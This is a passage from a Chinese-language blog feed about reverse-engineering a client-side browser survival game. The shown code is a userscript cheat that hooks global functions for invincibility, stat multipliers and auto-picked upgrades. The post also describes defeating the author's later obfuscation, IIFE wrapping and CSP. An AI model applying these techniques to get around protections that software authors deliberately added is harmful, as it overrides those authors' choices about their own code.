<p><strong>2026-10-16 03:03 UTC · 網頁版 <code>ef149b1</code></strong></p>
<p>這次更新只做效能優化（特效物件池、距離 LOD、網頁低規格模式），沒改玩法數值，也沒新增防護。</p>
<p>外掛 v1.0.0 直接相容，Godot 無頭測試與 Chromium 實測全部通過（<code>eb804e5</code>）。</p>
<p><strong>2026-10-16 · 網頁版 <code>4bb6478</code></strong></p>
<p>作者加入 Noto Sans TC 中文字型子集，設為介面預設字型，讓中文在網頁版能正常顯示。玩法和數值沒有變。</p>
<p>外掛 v1.0.0 首版（<code>cccc960</code>）。</p>
<p>本節來源：<a href="#doc-README"><code>README.md</code></a></p>]]></content:encoded>
    </item>
    <item>
      <title>DUNGEON REBORN 逆向 - 筆記歸檔</title>
      <link>https://blog.siao.ai/dungeon-reborn-userscript/</link>
      <guid isPermaLink="true">https://blog.siao.ai/dungeon-reborn-userscript/</guid>
      <pubDate>Thu, 15 Oct 2026 00:00:00 GMT</pubDate>
      <description>一款純前端倖存者類網頁遊戲的外掛與逆向紀錄。v2.5 不用逆向就能寫；作者加上 javascript-obfuscator、IIFE 封裝與 CSP 之後，改成在 vm 裡跑原始解碼器還原、拿混淆前的原始碼當標準答案找回作者原名、跨 build 自動遷移命名，外掛 v3 在執行時用 getter/setter 接上閉包。</description>
      <content:encoded><![CDATA[<h2 id="preface">Preface</h2>
<p>Cutoff: 26/10/16</p>
<p>一款純前端、倖存者類網頁遊戲的外掛與逆向紀錄。目前狀態：混淆完全還原，原始碼的 192 個頂層宣告全部找回作者原名，外掛 v3 在最新版上全部功能可用。</p>
<p>這篇分兩段。（1）是 v2.5 時代：遊戲沒打包，不用逆向就能寫外掛。10/15 晚上作者把 <code>game.js</code> 混淆、包進 IIFE、加上 CSP，v2.5 當場失效，（2）之後是怎麼把它拆回來。</p>
<p>工具、命名表與完整的逆向紀錄在 <a href="https://git.siao.ai/siao/dungeon-reborn-mod">https://git.siao.ai/siao/dungeon-reborn-mod</a>。repo 裡<strong>不放任何遊戲程式碼</strong>，理由見（11）。本文的原始紀錄在「<strong>原始日誌</strong>」面板裡，每一節結尾的「本節來源」點下去會直接跳到那一份。程式碼片段是建置時從 SiaoHub 直接嵌入的，不是手貼。</p>
<p>分析目標：<a href="https://a201009200979603117-create.github.io/DUNGEON-REBORN/">https://a201009200979603117-create.github.io/DUNGEON-REBORN/</a> 的 <code>game.js</code>。作者每次更新，server 上的排程會自動還原、測試外掛、更新這篇的版本紀錄，見（10）。</p>
<hr>
<h2 id="1-v2-5-不用逆向也能寫外掛" class="phrased">（1）<wbr>v2.5：<wbr>不用<wbr>逆向<wbr>也能<wbr>寫<wbr>外掛</h2>
<p>遊戲沒有經過打包工具處理的時候，整個遊戲邏輯都在一支 <code>game.js</code> 裡，全是一般的全域函式。在 Console 打 <code>String(hurtPlayer)</code> 就能看到原始碼。這時候寫外掛只要三件事：<strong>找到狀態變數、讀懂主迴圈、換掉關鍵函式</strong>。</p>
<p>狀態在 <code>let G</code> 裡，<code>G.player</code>、<code>G.enemies</code>、<code>G.skills</code> 都在裡面。<code>let</code> 宣告的全域變數不會掛在 <code>window</code> 上，但 <code>@grant none</code> 的腳本直接寫 <code>G</code> 就拿得到：</p>
<figure data-rehype-pretty-code-figure=""><pre style="--shiki-light:#0e1116;--shiki-dark:#f0f3f6;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0a0c10" tabindex="0" data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast"><code data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast" style="display: grid;"><span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    function</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> Run</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">() {</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        return</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">typeof</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> G</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> !==</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> "undefined"</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> &#x26;&#x26;</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> G</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> &#x26;&#x26;</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> G</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">.player) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">?</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> G</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> :</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> null</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    }</span></span></code></pre></figure>
<p><a href="https://git.siao.ai/siao/dungeon-reborn-mod/blob/4aac4ce/src/mod-core.js#L39-L41">在 SiaoHub 檢視 siao/dungeon-reborn-mod/src/mod-core.js L39-41</a></p>
<p>頂層的 <code>function foo(){}</code> 就是 <code>window.foo</code>，遊戲內部呼叫也走同一個全域綁定。把它存起來再換成自己的版本，遊戲之後每次呼叫都會先經過我的版本。無敵就是這樣做的：</p>
<figure data-rehype-pretty-code-figure=""><pre style="--shiki-light:#0e1116;--shiki-dark:#f0f3f6;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0a0c10" tabindex="0" data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast"><code data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast" style="display: grid;"><span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> OrigHurt</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> window.hurtPlayer;</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    window.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">hurtPlayer</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> function</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">...</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">Args</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) {</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (Cfg.God </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;&#x26;</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> Run</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">()) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">return</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        return</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> OrigHurt.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">apply</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">this</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, Args);</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    };</span></span></code></pre></figure>
<p><a href="https://git.siao.ai/siao/dungeon-reborn-mod/blob/4aac4ce/src/mod-core.js#L44-L48">在 SiaoHub 檢視 siao/dungeon-reborn-mod/src/mod-core.js L44-48</a></p>
<p>一路做到 v2.5，功能有無敵、各種倍率、自動選升級、防止暫停、遊戲加速、刷怪、直接調整技能等級，還有手機版面板。真正花時間的是讀懂主迴圈，下面八個坑幾乎都是這個原因。</p>
<details><summary>倍率用「覆寫」會把升級洗掉</summary><p>第一版每一幀直接把 <code>P.dmgMult</code> 設成滑桿的值。升級拿到的傷害加成也存在 <code>dmgMult</code>，每幀被蓋掉一次，看起來就像倍率沒作用。改成包住 <code>updateGame</code>：先存原值，暫時改成「原值 × 倍率」，跑完用 <code>try/finally</code> 還原。</p><figure data-rehype-pretty-code-figure=""><pre style="--shiki-light:#0e1116;--shiki-dark:#f0f3f6;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0a0c10" tabindex="0" data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast"><code data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast" style="display: grid;"><span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> P</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Game.player;</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> Nat</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> { Dmg: </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">P</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">.dmgMult, Pickup: </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">P</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">.pickupMult, Crit: </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">P</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">.crit };</span></span>
<span data-line=""> </span>
<span data-line=""><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">        // 只在本幀暫時調整，本幀結束立刻還原，所以不會吃掉你的升級</span></span>
<span data-line=""><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">        P</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">.dmgMult </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Nat.Dmg </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Cfg.DmgMult;</span></span>
<span data-line=""><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">        P</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">.pickupMult </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Nat.Pickup </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Cfg.PickupMult;</span></span>
<span data-line=""><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">        P</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">.crit </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Math.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">min</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, Nat.Crit </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Cfg.CritAdd);</span></span></code></pre></figure><p><a href="https://git.siao.ai/siao/dungeon-reborn-mod/blob/4aac4ce/src/mod-core.js#L126-L132">在 SiaoHub 檢視 siao/dungeon-reborn-mod/src/mod-core.js L126-132</a></p><figure data-rehype-pretty-code-figure=""><pre style="--shiki-light:#0e1116;--shiki-dark:#f0f3f6;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0a0c10" tabindex="0" data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast"><code data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast" style="display: grid;"><span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        try</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> {</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">            return</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> OrigUpdate.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">call</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(window, Dt);</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">        } </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">finally</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> {</span></span>
<span data-line=""><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">            P</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">.dmgMult </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Nat.Dmg;</span></span>
<span data-line=""><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">            P</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">.pickupMult </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Nat.Pickup;</span></span>
<span data-line=""><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">            P</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">.crit </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Nat.Crit;</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">        }</span></span></code></pre></figure><p><a href="https://git.siao.ai/siao/dungeon-reborn-mod/blob/4aac4ce/src/mod-core.js#L153-L159">在 SiaoHub 檢視 siao/dungeon-reborn-mod/src/mod-core.js L153-159</a></p><p><code>finally</code> 很重要。原函式中途丟錯的話，數值會停在乘過的版本，下一幀再乘一次，越滾越大。</p></details>
<details><summary>自動選升級永遠不會觸發</summary><p>自動選卡原本寫在 <code>updateGame</code> 的包裝裡，一次都沒跑過。讀了主迴圈才知道，升級畫面出現時（<code>G.choosing</code> 為真）遊戲根本不呼叫 <code>updateGame</code>。</p><figure class="diagram"><svg viewBox="0.00 0.00 444.00 130.00" xmlns="http://www.w3.org/2000/svg" style="max-width:100%;height:auto;display:block;margin:0 auto" role="img" aria-label="主迴圈在升級畫面時跳過 updateGame">
<g class="graph" transform="scale(1 1) rotate(0) translate(4 125.6)">
<polygon fill="none" stroke="none" points="-4,4 -4,-125.6 439.81,-125.6 439.81,4 -4,4"></polygon>

<g class="node">

<path fill="none" stroke="currentColor" d="M45.97,-109.6C45.97,-109.6 12,-109.6 12,-109.6 6,-109.6 0,-103.6 0,-97.6 0,-97.6 0,-80 0,-80 0,-74 6,-68 12,-68 12,-68 45.97,-68 45.97,-68 51.97,-68 57.97,-74 57.97,-80 57.97,-80 57.97,-97.6 57.97,-97.6 57.97,-103.6 51.97,-109.6 45.97,-109.6"></path>
<text text-anchor="middle" x="28.98" y="-93" font-family="Times,serif" font-size="14.00">frame()</text>
<text text-anchor="middle" x="28.98" y="-76.2" font-family="Times,serif" font-size="14.00">每一幀</text>
</g>

<g class="node">

<path fill="none" stroke="currentColor" d="M171.65,-104.41C171.65,-104.41 106.72,-91.19 106.72,-91.19 100.85,-90 100.85,-87.6 106.72,-86.41 106.72,-86.41 171.65,-73.19 171.65,-73.19 177.53,-72 189.29,-72 195.17,-73.19 195.17,-73.19 260.09,-86.41 260.09,-86.41 265.97,-87.6 265.97,-90 260.09,-91.19 260.09,-91.19 195.17,-104.41 195.17,-104.41 189.29,-105.6 177.53,-105.6 171.65,-104.41"></path>
<text text-anchor="middle" x="183.41" y="-84.6" font-family="Times,serif" font-size="14.00">G.choosing？</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M58.3,-88.8C65.22,-88.8 73.03,-88.8 81.28,-88.8"></path>
<polygon fill="currentColor" stroke="currentColor" points="81.25,-92.3 91.25,-88.8 81.25,-85.3 81.25,-92.3"></polygon>
</g>

<g class="node">

<path fill="none" stroke="currentColor" d="M423.81,-121.6C423.81,-121.6 340.85,-121.6 340.85,-121.6 334.85,-121.6 328.85,-115.6 328.85,-109.6 328.85,-109.6 328.85,-92 328.85,-92 328.85,-86 334.85,-80 340.85,-80 340.85,-80 423.81,-80 423.81,-80 429.81,-80 435.81,-86 435.81,-92 435.81,-92 435.81,-109.6 435.81,-109.6 435.81,-115.6 429.81,-121.6 423.81,-121.6"></path>
<text text-anchor="middle" x="382.33" y="-105" font-family="Times,serif" font-size="14.00">updateGame(dt)</text>
<text text-anchor="middle" x="382.33" y="-88.2" font-family="Times,serif" font-size="14.00">← 包裝在這</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M253.56,-93.01C274.22,-94.27 296.78,-95.65 317.11,-96.89"></path>
<polygon fill="currentColor" stroke="currentColor" points="316.76,-100.37 326.96,-97.49 317.19,-93.38 316.76,-100.37"></polygon>
<text text-anchor="middle" x="300.35" y="-100.43" font-family="Times,serif" font-size="14.00">否</text>
</g>

<g class="node">

<path fill="none" stroke="currentColor" d="M409.83,-51.6C409.83,-51.6 354.83,-51.6 354.83,-51.6 348.83,-51.6 342.83,-45.6 342.83,-39.6 342.83,-39.6 342.83,-22 342.83,-22 342.83,-16 348.83,-10 354.83,-10 354.83,-10 409.83,-10 409.83,-10 415.83,-10 421.83,-16 421.83,-22 421.83,-22 421.83,-39.6 421.83,-39.6 421.83,-45.6 415.83,-51.6 409.83,-51.6"></path>
<text text-anchor="middle" x="382.33" y="-35" font-family="Times,serif" font-size="14.00">不更新</text>
<text text-anchor="middle" x="382.33" y="-18.2" font-family="Times,serif" font-size="14.00">停在升級畫面</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M220.98,-78.03C252.2,-68.83 297.36,-55.53 331.81,-45.38"></path>
<polygon fill="currentColor" stroke="currentColor" points="332.53,-48.82 341.14,-42.64 330.55,-42.11 332.53,-48.82"></polygon>
<text text-anchor="middle" x="300.35" y="-60.53" font-family="Times,serif" font-size="14.00">是</text>
</g>

<g class="node">

<path fill="none" stroke="currentColor" d="M221.2,-41.6C221.2,-41.6 145.62,-41.6 145.62,-41.6 139.62,-41.6 133.62,-35.6 133.62,-29.6 133.62,-29.6 133.62,-12 133.62,-12 133.62,-6 139.62,0 145.62,0 145.62,0 221.2,0 221.2,0 227.2,0 233.2,-6 233.2,-12 233.2,-12 233.2,-29.6 233.2,-29.6 233.2,-35.6 227.2,-41.6 221.2,-41.6"></path>
<text text-anchor="middle" x="183.41" y="-25" font-family="Times,serif" font-size="14.00">setInterval 輪詢</text>
<text text-anchor="middle" x="183.41" y="-8.2" font-family="Times,serif" font-size="14.00">G.choosing</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M233.69,-19.96C257.1,-19.89 285.44,-20.3 310.85,-22 317.47,-22.44 324.42,-23.09 331.27,-23.83"></path>
<polygon fill="currentColor" stroke="currentColor" points="330.79,-27.3 341.13,-24.98 331.6,-20.35 330.79,-27.3"></polygon>
<text text-anchor="middle" x="300.35" y="-26.2" font-family="Times,serif" font-size="14.00">選卡</text>
</g>
</g>
</svg><figcaption>主迴圈在升級畫面時跳過 updateGame</figcaption></figure><p>改成用 <code>setInterval</code> 每 150 毫秒看一次 <code>G.choosing</code>：</p><figure data-rehype-pretty-code-figure=""><pre style="--shiki-light:#0e1116;--shiki-dark:#f0f3f6;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0a0c10" tabindex="0" data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast"><code data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast" style="display: grid;"><span data-line=""><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">    // 升級畫面時 updateGame 不會被呼叫，所以自動選卡要用計時器</span></span>
<span data-line=""><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">    setInterval</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">function</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> () {</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> Game</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> Run</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">();</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">!</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">Cfg.AutoPick </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">||</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> !</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">Game </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">||</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> !</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">Game.choosing </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">||</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> !</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">Game.choices </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">||</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> !</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">Game.choices.</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">length</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">return</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        let</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Index </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Game.choices.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">findIndex</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">function</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">C</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) {</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">            return</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> C</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">.def </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;&#x26;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">C</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">.def.kind </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">===</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> "evolve"</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> ||</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> C</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">.def.kind </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">===</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> "fusion"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">);</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">        });</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (Index </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) {</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">            Index </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Game.choices.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">findIndex</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">function</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">C</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) {</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">                return</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> C</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">.def </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;&#x26;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">C</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">.def.kind </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">===</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> "weapon"</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> ||</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> C</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">.def.kind </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">===</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> "skill"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">);</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">            });</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">        }</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (Index </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) Index </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">        window.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">chooseUpgrade</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(Index);</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    }, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">150</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">);</span></span></code></pre></figure><p><a href="https://git.siao.ai/siao/dungeon-reborn-mod/blob/4aac4ce/src/mod-core.js#L178-L192">在 SiaoHub 檢視 siao/dungeon-reborn-mod/src/mod-core.js L178-192</a></p></details>
<details><summary>「下一波」按鈕無限跳波</summary><p>把波次計時器設成 <code>1e9</code>，結果一直跳。遊戲每幀只從計時器扣掉一個 <code>WAVE_DURATION</code>，計時器還是很大，每一幀都判定時間到。解法是只補到剛好一波：</p><figure data-rehype-pretty-code-figure=""><pre style="--shiki-light:#0e1116;--shiki-dark:#f0f3f6;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0a0c10" tabindex="0" data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast"><code data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast" style="display: grid;"><span data-line=""><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">        NextWave</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">: </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">function</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> () {</span></span>
